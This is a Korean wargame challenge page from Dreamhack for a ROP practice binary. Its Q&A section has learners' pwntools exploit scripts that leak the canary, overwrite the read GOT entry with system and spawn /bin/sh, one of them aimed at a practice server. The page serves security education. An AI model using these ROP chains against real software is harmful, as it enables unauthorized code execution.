LEVEL 2

rop

pwnable
  • 문제 정보
  • 풀이 53
  • 난이도 투표 59
  • 질문 51
  • 최근 풀이자 1239
  • 댓글 39

문제 설명

Description

Exploit Tech: Return Oriented Programming에서 실습하는 문제입니다.

문제 수정 내역

2023.04.25: Ubuntu 22.04 환경으로 업데이트하였습니다.

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
Sechack
CTF First Place
출제된 지 4시간 만에 풀이 완료!

난이도 투표 59

질문 51

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
실행하면 계속 eof 나옵니다.
일단 코드는 이렇게 작성했습니다. from pwn import * def slog(name, addr): return success(": ".join([name, hex(addr)])) context(arch = 'amd64', os = 'linux', log_level = 'debug') p = process('./rop') e = ELF("./rop") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") buf = b"A"*57 p.sendafter("Buf: ", buf) p.recvuntil(buf) cnry = u64(b"\x00"+p.recvn(7)) slog("canary", cnry) read_plt = e.plt['read'] read_got = e.got['read'] puts_plt = e.plt['puts'] pop_rdi = 0x00000000004007f3 pop_rsi_r15 = 0x00000000004007f1 payload = b"A"56 + p64(cnry) + b"A"8 payload += p64(pop_rdi) + p64(read_got) payload += p64(puts_plt) payload += p64(pop_rdi) + p64(0) payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) payload += p64(read_plt) payload += p64(pop_rdi) payload += p64(read_got+0x8) payload += p64(read_plt) p.sendafter("Buf: ", payload) read = u64(p.recvn(6)+b"\x00"*2) lb = read - libc.symbols["read"] system = lb + libc.symbols["system"] puts = lb + libc.symbols["puts"] slog("read", read) slog("libc base", lb) slog("system", system) slog("puts", puts) p.send(p64(system)+b"/bin/sh\x00") p.interactive() pop rdi, pop rsi r15 가젯은 ropgadget으로 찾아서 입력했습니다. 중간에 gdb.attack(p)로 gdb 봐도 코드가 잘 들어가는 것 같고, 혹시 해서 read_got + 8을 read_got으로 바꿔도 여전합니다. 또 특이하게도 가끔 stack smashing detected가 뜹니다. (보통 뜨지 않음) 어떤 게 문제인지 잘 모르겠습니다...
avatar mswgen
강의노트를 보며 rop를 풀다 궁금한점이 생겨 질문드립니다.
payload += p64(pop_rdi) + p64(0) payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) payload += p64(read_plt) 우선 이 코드가 이해가 잘 가지 않습니다. 첫번째로는 p64(0)을 뒤에 붙여주는 부분입니다. 어떤 이유로 함수의 인자 뒤에 이것이 붙었는지 잘 모르겠습니다. 두번쨰로는 read함수는 dx가 정해지지 않을 경우 실행이 되지 않는 것으로 알고있는데, 위에 코드에서는 dx가 생략되어 있는 것으로 보입니다. pop dx를 찾기 힘들다는 내용은 강의를 통해 파악했는데 설정해주지 않으면 0x10 이 defalut value로 들어가게 되는건지 여쭙고 싶습니다. 두번째로는 payload += p64(pop_rdi) payload += p64(read_got+0x8) payload += p64(read_plt) 와 p.send(p64(system)+b"/bin/sh\x00") 부분에서 제가 제대로 알고있는지 파악하고 싶은 부분이 있습니다. 제가 이해하기로는 이전에 read함수에서 read_got에 system함수의 실제 주소를 넣어야 하고, 8바이트가 꽉 차기 때문에 p.send(p64(system)+b"/bin/sh\x00")를 통해 read_got와 read_got+0x8을 채워주고, system함수의 인자는 rdi를 통해 받기 때문에 payload += p64(pop_rdi) payload += p64(read_got+0x8) 을 하고, read_plt를 이용하여 system함수로 실행하는 것으로 이해했습니다. 근데 이미 payload에 +해서 전체를 첫 read함수(read(buf, 0x100)에 전달하는거고, 그러면 입력버퍼에 전부 들어가게 되는 것으로 알고 있습니다. 중간에 다시 read_plt에서 read함수를 호출하여 read_got에 입력해주는 구조인거 같은데, 그렇다면 여기서 입력한 값들은 입력버퍼의 뒤에서 부터 채우게 되어 제대로 입력이 되지 않을 것이라고 생각이 됩니다. 제가 제대로 이해하지 못하여 가독성이 떨어지게 쓴것 같습니다. 그래도 답변해주시면 감사하겠습니다.
sksdkanrjtehahffkdy
수업에서 제시된 코드가 안됩니다.
수업에서 제시된 코드에 libc 웹사이트에서 확인한 오프셋으로 수정한 후 코드를 돌렸는데 EOF가 떠서 당황스러워요. 현재 로컬 환경에서 gdb을 이용해보니까 rax 레지스터에 0x00값이 담겨 read가 안되는 상황입니다. 때문에 원격으로 문제 풀이를 진행 중인데, overwrite가 되었는지 확인할 수도 없어서 난처합니다ㅜㅜ 1 from pwn import * 2 def slog(name, addr): 3 return success(": ".join([name, hex(addr)])) 4 p = remote("host1.dreamhack.games", 19709) 5 e = ELF("./rop") 6 #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") 7 # [1] Leak canary 8 buf = b"A"*0x39 9 p.sendafter("Buf: ", buf) 10 p.recvuntil(buf) 11 cnry = u64(b"\x00"+p.recvn(7)) 12 slog("canary", cnry) 13 # [2] Exploit 14 read_plt = e.plt['read'] 15 read_got = e.got['read'] 16 puts_plt = e.plt['puts'] 17 pop_rdi = 0x00000000004007f3 18 pop_rsi_r15 = 0x00000000004007f1 19 payload = b"A"0x38 + p64(cnry) + b"B"0x8 20 # puts(read_got) 21 payload += p64(pop_rdi) + p64(read_got) 22 payload += p64(puts_plt) 23 # read(0, read_got, 0x10) 24 payload += p64(pop_rdi) + p64(0) 25 payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) 26 payload += p64(read_plt) 27 # read("/bin/sh") == system("/bin/sh") 28 payload += p64(pop_rdi) 29 payload += p64(read_got+0x8) 30 payload += p64(read_plt) 31 p.sendafter("Buf: ", payload) 32 read = u64(p.recvn(6)+b"\x00"*2) 33 lb = read - 0x110140 34 system = lb + 0x4f550 35 slog("read", read) 36 slog("libc base", lb) 37 slog("system", system) 38 p.send(p64(system)+b"/bin/sh\x00") 39 p.interactive() `
code_blue

최근 풀이자 1239

dretoh
대표 업적 없음
le0s1mba
워게임 고인물
이석희
대표 업적 없음
I_mho
워게임: 20
avatar
TEMPEST
워게임: 20
avatar
junan
공부벌레
daeseong1209
대표 업적 없음
avatar
빵선
대표 업적 없음
swoo0105
대표 업적 없음
avatar
reaunper
대표 업적 없음

댓글 39

avatar
MerryQ
2023 Christmas CTF 참여
아. libc 파일로 제공하네
avatar
댕댕180
워게임 고인물
Good.\
avatar
스카이넷
강의 수강: 10
ez
catpwn
대표 업적 없음
재밌네
avatar
착한 범고래
워게임: 50
립시 버전...ㅎㅎ
dandb
워게임: 20
아이공... /bin/sh 대신에 /bin/ls라고 계속 적고 있었네요..
avatar
Rosieblue
워게임 고인물
어렵네여,,ㅠㅠ
hyuunn
강의 수강: 10
홀리 풀었다
avatar
Newb1e
워게임 풀이: 1
로컬에서는 라이브러리 버전이 다른데, 단순히 오프셋만 바뀌는 게 아니라 Caller Saved Register가 초기화되냐 되지 않느냐의 여부도 영향을 미칩니다. 서버에서 되는게 로컬에서 안될수 있다는 뜻입니다.
yyw
대표 업적 없음
많이 배워갑니다